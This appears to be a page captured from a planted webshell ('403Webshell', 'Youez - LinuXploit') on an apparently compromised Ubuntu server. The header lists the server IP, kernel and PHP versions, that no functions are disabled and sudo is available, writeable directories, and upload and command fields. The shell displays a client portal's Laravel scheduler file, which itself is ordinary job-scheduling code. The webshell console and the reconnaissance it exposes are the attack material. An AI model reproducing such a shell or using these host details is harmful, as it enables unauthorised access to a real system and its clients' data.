403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/releases/20260626120707/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/releases/20260626120707/routes/console.php
<?php

use App\Jobs\CacheDashboardStatsJob;
use App\Jobs\Calendar\RefreshCalendarWebhooksJob;
use App\Jobs\Calendar\SyncAllCalendarsJob;
use App\Jobs\CheckOverdueInvoicesJob;
use App\Jobs\CheckStaleAuditItemsJob;
use App\Jobs\CleanupExpiredBackupsJob;
use App\Jobs\CleanupOldActivityLogsJob;
use App\Jobs\CleanupOldDeliveriesJob;
use App\Jobs\PermanentlyDeleteOldRecordsJob;
use App\Jobs\ProcessRecurringInvoicesJob;
use App\Jobs\PublishScheduledBlogPostsJob;
use App\Jobs\RetryFailedWebhooksJob;
use App\Jobs\SendAuditDeadlineRemindersJob;
use App\Jobs\SendAuditWeeklyDigestJob;
use App\Jobs\SendInvoiceRemindersJob;
use App\Jobs\SendOverdueAuditDigestJob;
use App\Jobs\SendScheduledAuditReportsJob;
use App\Jobs\Social\AbandonOldPendingSharesJob;
use App\Jobs\Social\CleanupOrphanedSharesJob;
use App\Jobs\Social\CleanupSocialAuditLogJob;
use App\Jobs\Social\ProcessPendingSocialSharesJob;
use App\Services\SystemHealthService;
use Illuminate\Foundation\Inspiring;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Schedule;

Artisan::command('inspire', function () {
    $this->comment(Inspiring::quote());
})->purpose('Display an inspiring quote');

/*
|--------------------------------------------------------------------------
| Scheduled Tasks
|--------------------------------------------------------------------------
|
| Define the application's command schedule. These tasks are run
| automatically by the scheduler when `php artisan schedule:run` is
| executed (typically via cron: * * * * * php artisan schedule:run).
|
*/

// Check for overdue invoices daily at 8am
Schedule::job(new CheckOverdueInvoicesJob)
    ->dailyAt('08:00')
    ->name('check-overdue-invoices')
    ->withoutOverlapping()
    ->onOneServer();

// Send invoice reminders daily at 9am
Schedule::job(new SendInvoiceRemindersJob)
    ->dailyAt('09:00')
    ->name('send-invoice-reminders')
    ->withoutOverlapping()
    ->onOneServer();

// Send audit deadline reminders daily at 9:30am
Schedule::job(new SendAuditDeadlineRemindersJob)
    ->dailyAt('09:30')
    ->name('send-audit-deadline-reminders')
    ->withoutOverlapping()
    ->onOneServer();

// Send scheduled audit due reminders daily at 9:45am
Schedule::command('audits:send-reminders')
    ->dailyAt('09:45')
    ->name('send-scheduled-audit-reminders')
    ->withoutOverlapping()
    ->onOneServer();

// Check for stale audit items daily at 10am
Schedule::job(new CheckStaleAuditItemsJob)
    ->dailyAt('10:00')
    ->name('check-stale-audit-items')
    ->withoutOverlapping()
    ->onOneServer();

// Send audit weekly digest on Monday at 8am (for clients)
Schedule::job(new SendAuditWeeklyDigestJob)
    ->weeklyOn(1, '08:00')
    ->name('send-audit-weekly-digest')
    ->withoutOverlapping()
    ->onOneServer();

// Send overdue audit digest to admins on Monday at 8:30am
Schedule::job(new SendOverdueAuditDigestJob)
    ->weeklyOn(1, '08:30')
    ->name('send-overdue-audit-digest')
    ->withoutOverlapping()
    ->onOneServer();

// Send remediation overdue notifications daily at 10:15am
Schedule::command('audit:send-remediation-overdue')
    ->dailyAt('10:15')
    ->name('send-remediation-overdue')
    ->withoutOverlapping()
    ->onOneServer();

// Send scheduled audit reports every 15 minutes
Schedule::job(new SendScheduledAuditReportsJob)
    ->everyFifteenMinutes()
    ->name('send-scheduled-audit-reports')
    ->withoutOverlapping()
    ->onOneServer();

// Process recurring invoices daily at 7am
Schedule::job(new ProcessRecurringInvoicesJob)
    ->dailyAt('07:00')
    ->name('process-recurring-invoices')
    ->withoutOverlapping()
    ->onOneServer();

// Cache dashboard stats daily at 6am
Schedule::job(new CacheDashboardStatsJob)
    ->dailyAt('06:00')
    ->name('cache-dashboard-stats')
    ->withoutOverlapping()
    ->onOneServer();

// Cleanup old activity logs monthly on the 1st at 2am
Schedule::job(new CleanupOldActivityLogsJob)
    ->monthlyOn(1, '02:00')
    ->name('cleanup-activity-logs')
    ->withoutOverlapping()
    ->onOneServer();

// Prune Prunable models nightly (JobMetric >14d, ApiUsageLog >30d)
Schedule::command('model:prune')
    ->dailyAt('02:30')
    ->name('prune-models')
    ->withoutOverlapping()
    ->onOneServer();

// Permanently delete soft-deleted records quarterly at 3am
Schedule::job(new PermanentlyDeleteOldRecordsJob)
    ->quarterly()
    ->at('03:00')
    ->name('cleanup-soft-deletes')
    ->withoutOverlapping()
    ->onOneServer();

// Prune old notifications daily at 4am
Schedule::command('notifications:prune --days=90')
    ->dailyAt('04:00')
    ->name('prune-notifications')
    ->withoutOverlapping()
    ->onOneServer();

// Prune stale batches weekly on Sunday at 5am
Schedule::command('queue:prune-batches --hours=48')
    ->weeklyOn(0, '05:00')
    ->name('prune-batches')
    ->withoutOverlapping()
    ->onOneServer();

// Check state duration workflows hourly (questionnaire reminders, follow-ups, etc.)
Schedule::command('workflows:check-state-duration')
    ->hourly()
    ->name('check-state-duration-workflows')
    ->withoutOverlapping()
    ->onOneServer();

// Retry failed webhooks every 5 minutes
Schedule::job(new RetryFailedWebhooksJob)
    ->everyFiveMinutes()
    ->name('retry-failed-webhooks')
    ->withoutOverlapping()
    ->onOneServer();

// Send calendar event reminders every 15 minutes (Plan 224 unified command)
Schedule::command('calendar:send-reminders')
    ->everyFifteenMinutes()
    ->name('send-calendar-reminders')
    ->withoutOverlapping()
    ->onOneServer();

// Cleanup old webhook deliveries daily at 3am
Schedule::job(new CleanupOldDeliveriesJob)
    ->dailyAt('03:00')
    ->name('cleanup-webhook-deliveries')
    ->withoutOverlapping()
    ->onOneServer();

// Cleanup expired backups daily at 4:30am
Schedule::job(new CleanupExpiredBackupsJob)
    ->dailyAt('04:30')
    ->name('cleanup-expired-backups')
    ->withoutOverlapping()
    ->onOneServer();

// Publish scheduled blog posts every 5 minutes
Schedule::job(new PublishScheduledBlogPostsJob)
    ->everyFiveMinutes()
    ->name('publish-scheduled-blog-posts')
    ->withoutOverlapping()
    ->onOneServer();

// Record scheduler health check every minute
Schedule::call(fn () => SystemHealthService::recordSchedulerRun())
    ->everyMinute()
    ->name('record-scheduler-health');

// Sync Google Calendar connections every 15 minutes
Schedule::job(new SyncAllCalendarsJob)
    ->everyFifteenMinutes()
    ->name('sync-google-calendars')
    ->withoutOverlapping()
    ->onOneServer();

// Refresh Google Calendar webhooks daily at 3am
Schedule::job(new RefreshCalendarWebhooksJob)
    ->dailyAt('03:00')
    ->name('refresh-calendar-webhooks')
    ->withoutOverlapping()
    ->onOneServer();

/*
|--------------------------------------------------------------------------
| Social Media Sharing (Plan 227)
|--------------------------------------------------------------------------
*/

// Process pending social shares every minute
Schedule::job(new ProcessPendingSocialSharesJob)
    ->everyMinute()
    ->name('process-pending-social-shares')
    ->withoutOverlapping()
    ->onOneServer();

// Abandon old pending shares daily at 11pm
Schedule::job(new AbandonOldPendingSharesJob)
    ->dailyAt('23:00')
    ->name('abandon-old-social-shares')
    ->withoutOverlapping()
    ->onOneServer();

// Cleanup social audit logs weekly on Sunday at 4am
Schedule::job(new CleanupSocialAuditLogJob)
    ->weeklyOn(0, '04:00')
    ->name('cleanup-social-audit-logs')
    ->withoutOverlapping()
    ->onOneServer();

// Cleanup orphaned share records weekly on Sunday at 4:30am
Schedule::job(new CleanupOrphanedSharesJob)
    ->weeklyOn(0, '04:30')
    ->name('cleanup-orphaned-shares')
    ->withoutOverlapping()
    ->onOneServer();

// Cleanup orphaned records (null FKs) daily at 3am
Schedule::command('cleanup:orphaned-records')
    ->dailyAt('03:00')
    ->name('cleanup-orphaned-records')
    ->withoutOverlapping()
    ->onOneServer();

/*
|--------------------------------------------------------------------------
| Package Download Sync (Plan 263)
|--------------------------------------------------------------------------
*/

// Sync package download counts every hour, but only run when enabled and frequency matches
Schedule::job(new \App\Jobs\SyncPackageDownloadsJob)
    ->hourly()
    ->when(function () {
        try {
            if (! \App\Models\Settings\SystemSetting::getValue('packages.sync_enabled', false)) {
                return false;
            }

            $frequency = \App\Models\Settings\SystemSetting::getValue('packages.sync_frequency', 'daily');
            $hour = (int) now()->format('G');

            return match ($frequency) {
                'hourly' => true,
                'every_6_hours' => $hour % 6 === 0,
                'every_12_hours' => $hour % 12 === 0,
                'daily' => $hour === 6,
                'weekly' => $hour === 6 && now()->isDayOfWeek(1),
                default => $hour === 6,
            };
        } catch (\Throwable) {
            return false;
        }
    })
    ->name('sync-package-downloads')
    ->withoutOverlapping()
    ->onOneServer();

/*
|--------------------------------------------------------------------------
| Package Version Sync (Plan 264)
|--------------------------------------------------------------------------
| Runs daily at 07:00 when sync is enabled. Iterates active packages and
| dispatches a unique per-package SyncPackageVersionsJob.
*/
Schedule::call(function () {
    if (! \App\Models\Settings\SystemSetting::getValue('packages.sync_enabled', false)) {
        return;
    }
    if (! config('packages.sync_v2_enabled', false)) {
        return;
    }
    foreach (\App\Models\Package::active()
        ->whereNotIn('registry', [
            \App\Enums\PackageRegistry::Go->value,
            \App\Enums\PackageRegistry::Maven->value,
            \App\Enums\PackageRegistry::SPI->value,
        ])
        ->get(['id']) as $package) {
        \App\Jobs\SyncPackageVersionsJob::dispatch($package->id);
    }
})
    ->dailyAt('07:00')
    ->name('sync-package-versions')
    ->withoutOverlapping()
    ->onOneServer();

/*
|--------------------------------------------------------------------------
| Websites product (Plan 270 + Plan 271 §1.4)
|--------------------------------------------------------------------------
| The Phase 5/6/7 jobs whose docstrings claim cron cadences are wired here.
| Without these registrations the jobs silently never ran in production
| (scheduled content never published, TenantCostGuard read sum=0, domain
| health never checked, missed Stripe deliveries never replayed).
*/

Schedule::job(new \App\Jobs\Websites\PublishScheduledContentJob)
    ->everyMinute()
    ->name('websites-publish-scheduled-content')
    ->withoutOverlapping()
    ->onOneServer();

Schedule::job(new \App\Jobs\Websites\TenantCostReportJob)
    ->dailyAt('00:15')
    ->name('websites-tenant-cost-report')
    ->withoutOverlapping()
    ->onOneServer();

Schedule::command('websites:dispatch-domain-health-checks')
    ->everySixHours()
    ->name('websites-dispatch-domain-health-checks')
    ->withoutOverlapping()
    ->onOneServer();

Schedule::command('websites:reconcile-stripe-events', ['--hours=24'])
    ->dailyAt('00:30')
    ->name('websites-reconcile-stripe-events')
    ->withoutOverlapping()
    ->onOneServer();

Schedule::job(new \App\Jobs\Websites\WebsiteDataExportPurgeJob)
    ->dailyAt('02:00')
    ->name('websites-purge-data-exports')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 272 §A.2 — hourly evaluator that turns TenantCostGuard's
// action ladder into actual notifications.
Schedule::job(new \App\Jobs\Websites\EvaluateTenantCostGuardJob)
    ->hourly()
    ->name('websites-evaluate-tenant-cost-guard')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 272 §B.1 — daily fan-out for GDPR Article 17 deletions
// whose 30-day grace window has expired.
Schedule::job(new \App\Jobs\Websites\DispatchExpiredDataDeletionsJob)
    ->dailyAt('03:00')
    ->name('websites-dispatch-expired-data-deletions')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 273 §D.1 — 30-min safety-net Apache SNI regeneration. Event-
// driven dispatches handle the common path; this catches misfires.
Schedule::job(new \App\Jobs\Websites\RegenerateSSLDomainsConfJob)
    ->everyThirtyMinutes()
    ->name('websites-regenerate-ssl-domains-conf')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 273 §D.3 — nightly reconciliation of (websites.status=live AND
// domains.cert_status=active) against the rendered SNI snippet. Removal
// is dry-run by default per the plan; mismatches land in
// host_reconciliation_findings for admin review.
Schedule::job(new \App\Jobs\Websites\ReconcileActiveHostsJob)
    ->dailyAt('03:30')
    ->name('websites-reconcile-active-hosts')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 273 §G.3 — daily per-tenant search-backend parity check. The
// admin tool reads the 7-day rolling window from
// search_parity_observations and flips reads for tenants with >= 99%
// parity for 7 consecutive days.
Schedule::job(new \App\Jobs\Websites\SearchParityCheckJob)
    ->dailyAt('04:00')
    ->name('websites-search-parity-check')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 277 §B.5 — 5-min audit of published addons missing Stripe Price
// IDs + aging unresolved TBD submissions. Emits JSON + Slack alerts.
Schedule::command('websites:addons:audit-stripe-state --notify')
    ->everyFiveMinutes()
    ->name('websites-audit-addon-stripe-state')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 275 §275-E — daily reconciliation of redemption_count drift.
// Detect-and-alert only; never auto-mutates.
Schedule::command('websites:reconcile-promotion-counts')
    ->dailyAt('05:00')
    ->name('websites-reconcile-promotion-counts')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 275 §275-E — hourly active-count gauge.
Schedule::command('websites:emit-promotion-metrics')
    ->hourly()
    ->name('websites-emit-promotion-metrics')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 275 §275-E — alert ops when a promotion's sync_error has been
// sticky for > 15 min (auto-retry exhausted).
Schedule::command('websites:alert-stale-sync-errors')
    ->everyFiveMinutes()
    ->name('websites-alert-stale-sync-errors')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 278-C.3 — daily post-launch 30-day check-in milestone trigger.
Schedule::command('milestones:complete-30day-checkin')
    ->dailyAt('02:00')
    ->name('milestones-30day-checkin')
    ->withoutOverlapping(60)
    ->onOneServer();

/*
|--------------------------------------------------------------------------
| Customer-facing custom domain lifecycle (Plan 279)
|--------------------------------------------------------------------------
*/

// Plan 279 §C.2 — daily backstop for the long-delayed FinalizeDomainRemovalJob.
Schedule::command('websites:finalize-removed-domains')
    ->dailyAt('04:45')
    ->name('websites-finalize-removed-domains')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 279 §B.3 — daily reconciliation of the denormalized custom_domain.
Schedule::command('websites:check-custom-domain-drift')
    ->dailyAt('05:30')
    ->name('websites-check-custom-domain-drift')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 279 §A.5 — daily ownership re-verification dispatcher.
Schedule::call(function () {
    $intervalDays = (int) config('websites.custom_domain.reverify_interval_days', 30);
    \App\Models\Websites\Domain::query()
        ->reverifyDue($intervalDays)
        ->cursor()
        ->each(fn ($domain) => \App\Jobs\Websites\ReverifyDomainOwnershipJob::dispatch($domain->id));
})
    ->dailyAt('06:15')
    ->name('websites-dispatch-reverify-domains')
    ->withoutOverlapping()
    ->onOneServer();

// Plan 279 §E.1 — daily T-7/T-3/T-1 reminder fan-out for domains
// in the removal grace window.
Schedule::command('websites:send-domain-grace-reminders')
    ->dailyAt('07:30')
    ->name('websites-send-domain-grace-reminders')
    ->withoutOverlapping()
    ->onOneServer();

/*
|--------------------------------------------------------------------------
| Staging environment (PLAN-281 §5.5)
|--------------------------------------------------------------------------
| Gated on APP_ENV=staging so the same code can ship to both environments
| without registering staging-only schedules on production. Laravel 11
| puts schedules in routes/console.php; the plan's reference to
| app/Console/Kernel.php is from a pre-11 template.
*/
if (app()->environment('staging')) {
    // Daily 30-day retention purge — keeps audit/job/webhook/api/cache/session
    // growth bounded on the shared EC2 disk. Sends a Healthchecks.io ping
    // when PURGE_HC_URL is set so a silently-failing purge alerts
    // within 24h.
    //
    // Gated on staging because the underlying command (staging:purge-old-data)
    // is staging-only.
    Schedule::command('staging:purge-old-data --days=30')
        ->dailyAt('02:00')
        ->name('staging-purge-old-data')
        ->withoutOverlapping()
        ->onOneServer();
}

/*
|--------------------------------------------------------------------------
| Healthchecks.io scheduler heartbeat (any environment)
|--------------------------------------------------------------------------
| Pings every 10 min so a stalled scheduler/cron is detected within the
| HC check's grace window (30 min recommended). Useful on any environment;
| set SCHEDULER_HC_URL in the env's .env to enable. Without the env var
| set, no schedule is registered (clean no-op).
|
| Originally added under PLAN-281 §9.3 for staging, made env-agnostic
| 2026-06-25 — prod scheduler stalling has higher customer impact than
| staging's, and there's no reason to keep this feature behind the
| environment gate.
|
| Reads via config() not env() — after `php artisan config:cache`,
| env() outside config files returns null.
*/
$schedulerHcUrl = (string) config('healthchecks.scheduler_url', '');
if ($schedulerHcUrl !== '') {
    Schedule::call(function () use ($schedulerHcUrl) {
        \Illuminate\Support\Facades\Http::timeout(5)->get($schedulerHcUrl);
    })
        ->everyTenMinutes()
        ->name('scheduler-heartbeat')
        ->withoutOverlapping();
}

Youez - 2016 - github.com/yon3zu
LinuXploit